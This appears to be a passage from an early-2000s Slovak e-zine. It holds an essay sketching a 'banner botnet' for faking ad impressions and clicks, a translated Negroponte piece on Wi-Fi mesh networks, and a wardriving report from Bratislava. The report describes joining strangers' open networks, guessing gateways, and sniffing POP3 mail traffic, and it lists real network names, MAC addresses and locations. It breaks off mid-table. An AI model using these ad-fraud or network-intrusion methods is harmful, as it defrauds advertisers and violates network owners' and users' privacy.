tu vsak nastava jeden zo zakladnych problemov -- preco by som chcel dovolit nejakemu gigantickemu reklamnemu systemu vediet o mne nejake informacie? na tento ucel vznikli systemy blokujuce reklamu. jeden z najkrajsich je urcite junkbuster alebo jednoducho acl listy v squide.
ked je vsak mozne pouzivat sluzbu bez pozerania sa na ich reklamu, nastava tu dost zasadna otazka: mnozstvo klientov dostava informacie bez pozerania sa na reklamu. je to ako keby ste si po kupe casopisu carovnym prutikom odcarovali vsetku reklamu a citali naozaj len tie informacie, ktore vas zaujimaju.
pre zadavatela reklamy aj pre prevadzkovatela sajtu je teda problemom, ci sa niekto na reklamu pozera (zadavatel reklamy to vidi v statistikach, co ak sa vsak tieto blokovace reklamy rozsiria natolko, ze na reklamu uz nebude pozerat takmer nikto?). zadavatel reklamy si vsak logicky musi polozit dalsiu otazku -- je prijemca reklamy clovek alebo stroj?.
otazka moze zniet hlupo, no reklamny obrazok si vacsinou vyziada stroj, je vsak na nom, ci obrazok zobrazi. mozno si dany obrazok ani neziadal zobrazit ziadny clovek. a tu je kamen urazu. podla coho plati zadavatel reklamy za zobrazene impresie, ked v podstate nemoze vediet, ci reklamu naozaj vidi clovek?
banner botnet
skusme si teraz v hlave naprogramovat jednoduchu siet ,,pozeracov a odklikavacov'' bannerov. cielom siete je nazbierat clenom dostatok kreditov v reklamnom systeme. niekolko nezavislych serverov sa bude starat o menezment impresii. klient si vytvori na danom serveri konto. jeho klientsky program sa s tymto kontom pripoji na server a dostane informaciu o obrazku, ktory ma requestnut (vratane hlaviciek, ktore ma poslat). s istou pravdepodobnostou (0.1-1.5%, co je bezny pomer odkliknutia banneru) mu zaroven prikaze po istom case vyziadat si ine url (odkliknutie banneru). za kazdy takyto ukon dostane v banner botnete jeden kredit. v kliente si nastavi url banneru, ktory chce, aby mu ostatni clenovia pozerali a pripadne odklikavali. teda za kazde vyziadanie banneru si jeho banner ,,pozrie'' niekto iny. v statistikach reklamneho systemu sa nebude diat nic nezvycajne -- pomerne pomaly nastup poctu impresii. klientovi, ktory takto ,,pozera'' programovo cudzie bannery zacne rast kredit v reklamnom systeme (pretoze cely svet mu klika na bannery). to, ze niekedy ten kredit znamena peniaze ani nebudem spominat.
samozrejme, najdu sa taki nepodstivi medzi nepodstivymi, ktori by chceli dostavat kredit a nic neodklikavat a nerequestovat. preto server s istou pravdepodobnostou posle linku na iny spriazneny server, ktory dane odkliknutie overi a v pripade, ze k nemu nedoslo, klientov ucet zakaze.
v podstate jediny sposob, ako sa vymenny reklamny system moze dozvediet o tom, ze niekto takto funguje (pri este vacsom a detailnejsom domysleni, ako tu popisujem), je stat sa sucastou banner botnetu.
aj ked to mozno bude zniet zvlastne, v pripade, ze by sa taketo nieco stalo, cely system bannerovych reklam (ak niekto nenajde nejake ine riesenie, ktore by znemoznilo takyto sposob fungovania) by sa s banner botnetom zacal stale viac a viac potapat. cena za impresiu by klesala (kedze by sa stale zvysovala pravdepodobnost, ze si k cloveku cestu nenajde) a casom by sa tento system cely sam potopil.
zo zaciatku by bol vsak pre ,,clenov'' velmi vyhodny, pretoze by im pomohol skoro zadarmo (teda za pripojenie) zarobit dost impresii a ziskat reklamu na svoje stranky. ak by nepremenil svoje stranky na iny druh zisku (napr. z ponukania tovaru alebo informacii), mohol by zarobit predanim impresii.
buducnost internetovej reklamy
nie som jasnovidec, no v pripade, ze sa takato moznost uplatni a reklamne agentury a zadavatelia reklamy si tuto hrozbu uvedomia, reklama na internete, ako ju pozname teraz (a hlavne platenie za nu) uplne zanikne. pretransformuje sa na iny druh reklamy, ktory sa takto oklamat neda -- na reklamu druhu ,,podiel z predanych vyrobkov, ktore zakupil zakaznik ktoreho ziskala reklama na danej stranke''. v tomto pripade vyhra zadavatel reklamy a aj zakaznik -- poskytovatel obsahu bude reklamu viac cielit -- nie podla zadavatela, ale podla toho, co si mysli, ze sa bude dobre predavat a co si mysli, ze by daneho zakaznika mohlo zaujimat. pretoze v tomto pripade bude mat prevadzkovatel stranok zaujem na tom, aby uzivatel nasiel to, co hlada. predstavte si to, ziadne reklamy typu -- otvorili sme aupark na kazdej stranke. na pocitacovych strankach bude pocitacovy tovar. uz prevadzkovatel stranok sa vam bude snazit vybrat dobru a vyhodnu ponuku, pretoze bude vediet, ze v inom pripade si nic nekupite.
vacsie problemy bude mat v tomto pripade prevadzkovatel stranok -- jeho zisk bude zalezat predovsetkym od neho -- nie od poctu impresii, ale skor od sposobu, akym dokaze predat tovar. v pripade, ze sa mu to podari, moze naozaj dost slusne zarobit. v pripade, ze nie, ma smolu (a to mohol poskytovat aj naozaj zaujimave a cenne informacie, len nevedel predat ziadny tovar a nenasiel iny sposob financovania -- napr. predplatne, poskytovanie rozsirenych sluzieb a ine).
zaver
bohuzial, neviem, ci vysledok tohto vsetkeho bude dobry alebo zly. naozaj to neviem predpovedat. je dost mozne, ze mnozstvo dobrych sluzieb skrachuje. v pripade, ze by tento scenar naozaj niekto zrealizoval, asi by malo vela stranok financne problemy hlavne v case transformacie reklamneho trhu a najma v tomto case by si mali asi hladat aj vedlajsi zdroj prijmov. prijmy z impresii uz zdaleka nebudu primarne.
je mi naozaj luto, ze sa vzdalujeme od casov, ked na internete bolo vsetko zadarmo a bol produkovany nadsencami, ktori nieco chceli poskytnut svetu. takyto internet bol najlepsi. teraz, v case korporacii asi dojde k roznym zmenam. uvidime, ako sa to cele skonci.
juraj bednar, juraj(at)bednar.sk
navrat na obsah
co ty na to ? board
Nicholas Negroponte vysvetluje preco Wi-Fi "lekna a zaby" pretvoria buducnost telco priemyslu.
Vsetko, co ste doteraz vedeli a predpokladali o telekomunikaciach je v pohybe a zmene. Velki kablovi aj bezkablovi operatori budu nahradeni milionmi malych mikrooperatorov, ktori budu vtiahnuti do globalnej tovarne sirokopasmoveho (broadband) pripojenia.
Preco by sa prave toto malo stat ? Nech sa paci, tu je cely pribeh.
Za poslednych 30 rokov, telekomunikacny priemysel presiel tromi velkymi zmenami, kazdu z nich mozno nazvat epochou. Ta prva bola digitalizacia v 70tych rokoch. Tou druhou bol prichod technologie prepinania packetov (packet switching). Ta tretia bol nastup bezkablovej komunikacie. Kazda z nich priniesla so sebou dramaticke inovacie. Prva odstartovala popri inom multimedia, druha priniesla nepretrzite pripojenie a tretia funkcnu mobilitu. V kombinacii s deregulaciou telekomunikacneho priemyslu tieto generacne zmeny priniesli ludom viac sluzieb za nizsie ceny. Tento fakt je najviac viditelny pri mobilnych telefonoch/komunikacii, ktora mala obrovske kulturne dosledky vsade na svete.
hlasovo centricke 3G je prilis mala zmena
Na tomto pozadi aktualneho pokroku, dnesni mobilni operatori sa pripravuju na malu, skoro az irelevantnu zmenu, k prechodu na tzv. 3G - tretiu generaciu mobilnych telefonov a komunikacie. 3G je prilis mala zmena a uplne postrada atributy generacneho prechodu. V case, ked prenos dat stale narasta na vyzname je 3G stale hlasovo-centricka technologia, tym vznika riziko, ze sa nikde nikdy uplne neusadi.
vodne lekna - skutocna nasledujuca generacia
Pocitacovy priemysel zacal pred niekolkymi rokmi vyvijat popri existujucich komunikacnych protokoloch a strukturach paralelnu a na prvy pohlad nesuvisiacu aktivitu pre bezkablove lokalne pocitacove siete (LAN) nazvalnu 802.11. Povodny zamer bol odstranit hrce koaxialnych kablov a nutnost v?tat diery a tahat kilometre kabelaze.
Pred piatimi rokmi som si nainstaloval bezkablovu siet (wireless LAN) u seba doma v Bostone. V tom case to stalo nieco okolo $2,000 na zakladnu stanicu a $500 za kazde zariadenie, ktore som chcel pripojit. Dnes (v USA) su tieto ceny $120 a $50 a ceny stale klesaju. Vysledkom je, ze tento druh konektivity zacal prudko rast a konzervativne odhady hovoria len v USA o 15 milionoch wi-fi pripojeni.
lenze dosah Wi-Fi nekonci pri stenach vasho domu
Lenze systemy 802.11 — dnes pristupne vo viacerych typoch vratane 802.11b vseobecne znameho ako Wi-Fi — nekoncia svojim dosahom stenami Vasho domu. V zavislosti od materialov stien ma jednoduche Wi-Fi dosah az okolo 300 metrov. Odkedy zijem v oblasti s vysokou hustotou ludi, moj system dosiahne mozno 100 susedov. Platim pausal a som rad, ze sa mozem o to podelit. (kto by nechcel bezat na rovnakej sieti s Negropontem:))
Pretoze kusok nizsie na ulici, za dosahom mojho systemu iny sused nainstalovaj svoj. A kusok dalej dalsi a dalsi. Predstavte si to ako jazierko s jednym leknom, potom s dvomi a potom so styrmi, potom sa viacere prekryvaju a svojimi vyhonkami dosiahnu do Internetu. (Analogiu s leknami vymyslel Alessandro Ovi, technologicky poradca Romana Prodiho, prezidenta Europskej Komisie.)
Pozrite sa na cisla : 3G v najsilnejsich konfiguraciach slubuje rychlost prenosu dat 1 megabit za sekundu, niekedy za 2 roky. Wi-Fi ponuka rychlost 11 megabitov v zaklade a v silnych konfiguraciach az 54 megabitov uz dnes. co myslite, ktory standard sa uchyti ?
zaby : skacu cez navzajom prepletene lekna
V blizkej buducnosti kazdy Wi-Fi system bude pracovat aj ako maly smerovac (router), odpovedajuci najblizsim susedom. Data a spravy mozu skakat systemom peer-to-peer ako zaby z lekna na lekno, vyhonky uz nebudu potrebne. Bude z toho sirokopasmovy (broadband) telekomunikacny system vytvoreny ludmi pre ludi. Telekomunikacne spolocnosti o tomto fakte velmi dobre vedia ale podcenuju ho s argumentom nedostatocneho pokrytia siete. Mylia sa.
system vytvoreny ludmi pre ludi
Tuto peer-to-peer strukturu robia zaujimavou 3 veci. Za prve, jej tlak a obrovsky rast sa v malom stale opakuju (viral). Opakujuce sa male telekomunikacne siete su relativne novy fenomen, kde kazdy si vybuduje svoj maly system a pripoji ho do siete podobnych. V case ked je telekomunikacny trh v krize a investicie donho su len tie najnutnejsie, tento fakt nadobuda na dolezitosti.
Za druhe, vykon systemu rastie s poctom pripojenych uzlov. V dnesnych typickych mobilnych sietach rast uzlov (uzivatelov) znamena viac interferencii a pokles kvality sluzby. Vo Wi-Fi topologii viac uzlov znamena kvalitnejsiu sluzbu.
A za tretie, je tu obava z elektromagnetickeho vyzarovania. Najma Europa je extremne citliva na nezname vplyvy elektromagnetickeho smogu. Aj v USA je pocut hlasy, ze pravidelne pouzivanie mobilnych telefonov sposobuje rakovinu mozgu. Je faktom, ze, ze topologia multi-hop sieti (ako je Wi-Fi) potrebuje menej energie, pretoze signaly idu do mensej vzdialenosti (su to "slabsie vysielacky"). Vyplyva z toho, ze menej vysielanej energie znamena mensie zdravotne riziko.
rybnik : zmeni prud telco priemyslu
Dnesne spektrum mobilnej komunikacie je riadene ako trh nehnutelnosti, opatrne rozparcelovane vladami. Aktualne aukcie na 3G licencie priniesli obrovske a nerealisticke ceny za tieto siete. Pridava sa k tomu este stary sposob myslenia, ze jednotlive sG siete budu fungovat bez vzajomnych interferencii a s vlastou suverenitou (ako GSM).
Ale prichadzaju nove sposoby procesov v rybniku, pretoze vieme pridavat stale viac a viac inteligencie a sofistikovanosti nasim leknam a zabam skakajucim medzi nimi. Pri pouziti menej energie za nizsich cien je mozne bezkablove spektrum vyuzit daleko viac efektivnejsie. Velmi zaujimave su oblasti, ktore mozu byt volne vyuzivane kymkolvek na cokolvek bez nutnosti licencie. Tieto relativne male kusky pasma (chunks of bandwith) rozprestrene cez rozne frekvencie su povazovane viacmenej za "smeti". Toto nelicencovane spektrum je vyuzivane na domacie cordless telefony, dialkove otvarace garazi, mikrovlnne rury a velke mnozstvo dalsich nevinnych ale nepredvidatelnych pouziti.
ludia sa pri Wi-Fi experimentoch s rozprestretym spektrom CDMA naucili, ze na alokovanie (pridelovanie) frekvencneho spektra sa mozno pozerat roznymi pohladmi. Mozno sa na ne pozerat ako na velke spolocne oblasti namiesto ako na male kusky. Striktne hranice sa potom menia prijatelne obmedzenia. Aby nam taky system neprerastol cez hlavu a nevytvoril chaos, budu musiet existovat obmedzenia, napriklad v mnozstve vysielanej ci pouzitej energie. Ale to je v poriadku - nikto nezacne kricat "hori" v preplnenom divadle.
Realokovanie spektra nenastane za noc. Zamiesat obsadene elektromagneticke zony je rovnako komplikovane ako vyhladit cast mesta, aby sa vybudoval novy park ci rekreacne centrum. Nove pohlady na tento problem maju rychlejsi efekt ak sa pozerame na vyssie a vyssie casti spektra a pouzivame ho na kratsie a kratsie vzdialenosti.
pripojenie opakujuceho sa charakteru nelicencovaneho spektra
Tento novy sposob pohladu na pripojenie bude mat tiez vplyv na miesta, kde penetracia je bezkablovych technologii velmi mala - paradoxne v oblastiach ozajstnych lekien a ziab, v odlahlych castiach nasho sveta. spinave male tajomstvo o 802.11b je, ze moze dosiahnut pokrytie az 20 kilomtrov s patricne nastavenymi priamymi antenami. Predstavme si situaciu, ked bude dosah v miestach, ktore nemaju dostatocnu komercnu hodnotu, aby tam bola zavedena klasicka infrastruktura. V tychto pripadoch sa opakujuci sa charakter nelicencovanych telekomunikacnych systemov stane obrovskym hybatelom ludskeho vyvoja a zmeni vsetko, od skostva az po zabavu, od nemocnic az po prenajmy priestorov. Ani by to nebolo prilis prekvapive.
nicholas negroponte (uverejnene vo wired)
preklad xalex, epoxid(at)pobox.sk, www.epoxid.sk
navrat na obsah
co ty na to ? board
uvod
kam sa hrabe rozvoj ethernetovych sieti spred par rokov proti momentalnemu boomu wifi networkov. to je znama vec. ale kolko toho presne poletuje v bratislavskom eteri a ako je to zabezpecene - to sme len odhadovali. napad pobehat trochu blavu s wifi antenou v aute je pomerne stary, ale nikdy nebol cas alebo nalada spravit to. tak sme konecne v polovici novembra dali dokopy vdacny trojlistok maniac/pajkus/antonio, nejaky ten hardware a vydali sa na nocnu jazdu po blave.
o niektorych lokalitach sme si mysleli ze budu prekypovat vzdusnym trafficom ale boli sme sklamani datovou pustatinou. na inych necakanych miestach sme zase do minuty mali funkcnu IP adresu s pristupom na internet od nam uplne neznamych providerov, alebo sukromnych sieti. cielom nasho vyletu nebolo vytvorit komplexnu mapu wifi sieti v bratislave, ale obehnut si zopar vytipovanych lokalit kde sme tusili ze sa mozu diat veci. a teda aj sa diali veci. ale pekne poporiadku, najprv popis nasej vyzbroje:
vyzbroj
co sme mali so sebou:
system
linux kernel v2.4.20-rc2 (patchnuty na wireles extensions v15)
wireless tools v25
patchnuty orinoco modul v jadre v0.11
pcmcia-cs-3.2.1 s patchnutym orinoco driverom
aplikacie
airsnort v0.0.9
kismet v2.6.1
dstumbler (FreeBSD)
ethereal v0.9.5, with GTK+ 1.2.10, with GLib 1.2.10, with libpcap 0.7, with libz 1.1.4, with UCD SNMP 4.2.5
hunt v1.5
ngrep v1.40.1
nmap v3
tcpdump v3.7.1
netstumbler (WinXP)
dhcpcd v.1.3.22-pl1
epcs.c ;-)
co sme nemali so sebou a mali sme mat:
metodika
popri vychadzkovej plavbe s omni antenou na streche po bratislavskych nocnych uliciach nam z casu na cas (dooost casto) do usi zapipal prijemny zvuk netstumbleru, ktory oznamoval ze mame signal nejakej sietky. v pripade ze signal stal za rec a nazov (essid) danej rybarskej siete naznacoval zaujimavy ulovok, tak sme odparkovali nase mobilne sniffovacie laboratorium a switchli sa do unixoidnejsieho prostredia kde sa predsa len citime trosilinka komfortnejsie ;) ono ten netstumbler pod ixpeckami sme pouzivali prave koli tomu ze funguje pekne samostatne bez nejakej nutnej interakcie.
pod linuxom nam utilitka kismet pekne posniffovala traffic odohravajuci sa na konkretnom 802.11b-ckovom kanaly, alebo sme cez kismet_hopper cyklicky cuchali vsetky kanaly. nasledoval nas kamarat tcpdump, ktory porozpraval o ip adresach, ktore na danej sieti komunikovali. obcas sme dokonca dostali pomocou dhcp pridelenu ip adresu a gateway, tu musim poznamenat, ze ked som bol obuty v xp-ckach a isli sme okolo ekonomickej fakulty BA, tak som sa az mykol ked sa mi zrazu samo otvorilo icq a nabehol som online - darmo, eXPerience sa nezaprie svojimi luserfriendly ficurami :-) no ale aby som presiel k teme, tak pri tcpdumpe sme si vyhliadli nejake volne ipecky, domysleli si masku siete a typli branu. samozrejme icmp-mask-request a nmap obcas zafungovali tiez, ked uz dochadzala fantazia :)) v niektorych lokalitach fical naozaj zaujimavy traffic a tak sme cez ethereal pokukali zopar pop3 paketov, ktore smazili outlooky na workstejsnoch co ostali po firmach na weekend pozapinane...
zoznam skenovanych lokalit s poznamkami
nasleduje zoznam miest kde sme pobehovali s antenou. asi by bolo putavejsie pisat ich v chronologickom poradi podla toho ako sme ich obehavali, ale vobec si nepamatam postupnost lokalit, kedze sme to rozdelili na dve noci a jazdili sme dost cik-cakovito. treba tiez povedat ze ziadnej sieti sme sa velmi zdlhavo nevenovali. skusili sme sa prihlasit a po prihlaseni si tipnut alebo vysniffovat netmask a gateway.. kazdej sieti sme venovali tak maximalne minutku-dve. takze ak sa povenujete konkretnej sieti dlhsie, pravdepodobnost je za dostanete dalej.. takze voila v kvazi-abecednom poradi:
lokalita: bajkalska ulica, esso pumpa meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- tomas0 00:02:78:e2:00:31 8 samsung ap nie bratislava 00:02:78:f3:b5:12 3 samsung ap ano EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie -------------------------------------------------------------------------------- poznamka: mile je ze nam euroweb nazvy povedia presnu polohu, smerovanie a typ anteny lokalita: botanicka ulica, pri omv pumpe meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- borik 00:60:b3:16:66:0a 9 z-com ap nie PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie -------------------------------------------------------------------------------- poznamky: borik vysielal niekde z oblasti fyzickeho kopca borik. PRIFUKAP je zjavne siet prirodovedeckej fakulty uk. lokalita: roh brnianska-jasenova meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie metror 00:60:b3:66:12:a6 8 z-com ap nie -------------------------------------------------------------------------------- poznamka: na metror sme sa uspesne napichli. tu su udaje k spojeniu: eth1 IEEE 802.11-DS ESSID:"metror" Nickname:"HERMES I" Mode:Managed Frequency:2.447GHz Access Point: 00:60:B3:66:12:A6 Bit Rate:11Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:21/92 Signal level:-74 dBm Noise level:-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:98 Tx excessive retries:374 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaaddr 00-02-2D-2E-BA-BE inet addr:62.168.108.237 Bcast:62.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:21748 errors:6082 dropped:0 overruns:0 frame:6061 TX packets:5044 errors:206014 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:10429536 (9.9 Mb) TX bytes:718511 (701.6 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 62.168.108.1 asi gw 62.168.108.2 nameserver a bezi tam nejaky icmp monitoring 62.168.108.140 a 62.168.108.238 aktivne hosty na sieti (WWW+m$ domena na 198.16.x.x) lokalita: roh broskynova-mudronova meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- borik 00:60:b3:16:66:0a 9 z-com ap nie finger 00:02:78:e1:10:36 9 samsung ap nie Technologies 00:60:b3:4f:04:cc 13 z-com ap nie EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie dunaj1 00:02:78:e0:34:9d 1 samsung ap nie -------------------------------------------------------------------------------- lokalita: cesta z koliby dole (take to otvorene miesto s fajn vyhladom na mesto) meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 1034 00:40:96:44:4e:4d 10 cisco (aironet) ap nie b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie realnetpbly 4e:03:d5:00:e2:02 6 peer nie waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie vsesmer 00:02:78:e1:45:bc 3 samsung ap nie fab30 00:30:4f:1c:2f:d9 1 ap nie Effect Network 00:02:2d:4c:41:be 13 agere (lucent) orinoco ap nie 007SOU 00:02:78:e1:d3:f0 3 samsung ap nie rainap 00:02:78:e0:34:af 3 samsung ap nie default 00:60:b3:10:05:a0 13 z-com peer nie realnetds3 00:40:96:58:43:01 1 cisco (aironet) ap nie realnetdsds 56:01:c2:01:c7:01 9 peer nie accessmelli 00:02:78:e1:45:ca 11 samsung ap nie jan 00:60:b3:4f:08:69 3 z-com ap nie racsz 02:02:65:3b:6c:3b 3 peer nie txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano mgfh4ec5 00:00:f0:64:0a:e6 11 samsung peer nie Backup34 00:10:e7:f5:54:07 7 breezenet ap ano txsotoavi 00:90:4b:0b:5b:f0 5 gemtek (d-link) ap ano TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie -------------------------------------------------------------------------------- poznamka: tak toto je miesto s najvacsou viditelnostou wifi sieti v bratislave. tu sme chytali 2-3 siete aj volne na notebook bez anteny. lokalita: na tej istej ceste z koliby, ale kusok nizsie meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- waskol 00:90:4b:0e:cd:e7 3 gemtek (d-link) ap nie realnetpbly 4e:03:d5:00:e2:02 6 peer nie b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco peer ano cdicon 00:02:78:e1:d4:2e 8 samsung ap nie Backup34 00:10:e7:f5:54:07 7 breezenet ap ano TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie 1234 00:40:96:44:31:94 10 cisco (aironet) ap nie racsz 02:02:65:3b:6c:3b 3 peer nie default 00:60:b3:10:05:a0 13 z-com peer nie 00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie 1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie mgfh4ec5 00:00:f0:64:0a:e6 11 samsung ap nie txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano metrom 00:60:b3:4f:1e:e4 12 z-com ap nie blabla 00:60:b3:16:84:cf 3 z-com ap nie postelap 00:02:78:e1:d3:bf 13 samsung ap nie -------------------------------------------------------------------------------- poznamka: siet "metrom" nebola ojedinela, po celej blave sme nachadzali siete s nazvom "metroX" ako metros, metror, metroc, atd. patriace nejakej firme Grid. na metror sme sa pripojili pri savke, viz prislusna poznamka. na metros sme sa tiez napichli, tu su udaje: eth1 IEEE 802.11-DS ESSID:"metros" Nickname:"HERMES I" Mode:Managed Frequency:2.432GHz Access Point: 00:60:B3:66:12:A5 Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:8/92 Signal level:-89 dBm Noise level:-97 dBm Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953 Tx excessive retries:35 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:37965 errors:68168 dropped:0 overruns:0 frame:68167 TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:5044638 (4.8 Mb) TX bytes:625024 (610.3 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo lokalita: dolnozemska pri pumpach slovnaft meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- DOM 00:90:4b:08:0b:86 1 gemtek (d-link) ap nie hony 00:60:1d:03:6b:e1 3 agere (lucent) wavelan ap nie -------------------------------------------------------------------------------- lokalita: drienova ulica oproti hotelu junior meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- govline 00:02:78:e0:34:82 6 samsung ap nie norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano tomas0 00:02:78:e2:00:31 8 samsung ap nie EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie realnetpbly 4e:03:d5:00:e2:02 6 peer nie -------------------------------------------------------------------------------- poznamka: na drienovej sme cakali kusok viac, kedze tu sidli zopar pocitacovych firiem a nejake to ministerstvo. chytili sme akurat silne anteny z bajkalskej. lokalita: drotarska cesta - mozartova ulica meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie martineg 00:02:78:e1:10:23 1 samsung ap nie EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie vlado3 96:57:4d:00:00:00 10 peer nie duran1 00:a0:c5:42:ef:6c 6 ap nie -------------------------------------------------------------------------------- poznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na hlavach kvitnut karfioly z toho co nam teraz lieta v eteri. lokalita: drotarska cesta - prvosienkova ulica meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- duran1 00:a0:c5:42:ef:6c 6 ap nie IUVENTA 00:30:4f:1c:24:8f 11 ap ano -------------------------------------------------------------------------------- lokalita: stare grunty - jebacie miesto hore za elamom meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano BORISDOM 00:60:b3:4f:08:60 11 z-com ap nie BORISDOM 00:60:b3:4f:00:36 11 z-com ap nie EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano freeehr 00:02:78:e0:34:ba 8 samsung ap nie borik 00:60:b3:16:66:0a 9 z-com ap nie efca 00:90:4b:0b:5c:5f 11 gemtek (d-link) ap ano -------------------------------------------------------------------------------- lokalita: stare grunty pri manzelakoch so smerovou antenou smerom na sturak meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- hotspot 00:90:0e:00:25:33 6 ap nie vlado3 96:57:4d:00:00:00 10 peer nie homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano 12121212 22:00:e4:02:f4:02 3 peer nie 18181818 a6:01:7d:00:94:03 11 peer nie My Network 00:60:b3:16:c0:b3 1 z-com ap nie EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie -------------------------------------------------------------------------------- poznamky: na hotspot sme sa chytili smerovou antenou a rovno sme dostali dhcp ip adresu. gw bol 192.168.1.1. zjavne by sme nasli aj nejaky proxy von, ale ponahlali sme sa prec a na druhy den sme sa nemohli na to pripojit.. bol slaby signal. lokalita: hodzovo namestie meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- wli_004 00:90:4b:0b:5b:9b 5 gemtek (d-link) ap nie omega 00:90:4b:0b:5b:51 13 gemtek (d-link) ap ano -------------------------------------------------------------------------------- lokalita: horsky park, pri pivarni horsky park meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie 1234 00:40:96:44:31:94 10 cisco (aironet) ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie metros 00:60:b3:66:12:a5 5 z-com ap nie metrom 00:60:b3:4f:1e:e4 12 z-com ap nie paleo1 00:60:b3:16:63:f5 13 z-com ap nie matrix 00:60:b3:16:63:ef 9 z-com ap nie -------------------------------------------------------------------------------- poznamka: nemali sme pri sebe blue-pill na vystupenie z matrixu. na paleo1 behalo velke mnozstvo http trafficu. lokalita: hotel danube meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie ZDR 02:02:2d:4c:5f:13 10 agere (lucent) orinoco ap ano EUnetIncheba 00:60:1d:03:63:b9 13 agere (lucent) wavelan ap nie mat2 00:90:4b:08:0b:dc 9 gemtek (d-link) ap nie okatnet 00:02:78:e1:b1:3a 9 samsung ap nie EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie -------------------------------------------------------------------------------- poznamka: v hoteli danube by mohli ponukat free spojenie cez eunet kutlikova. my sme sa na to apcko pripojili zo slavina a celkom sa pobavili, viz poznamky nizsie lokalita: jarosova pri kukurici meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie 00ABFF07 00:02:78:e1:d3:91 12 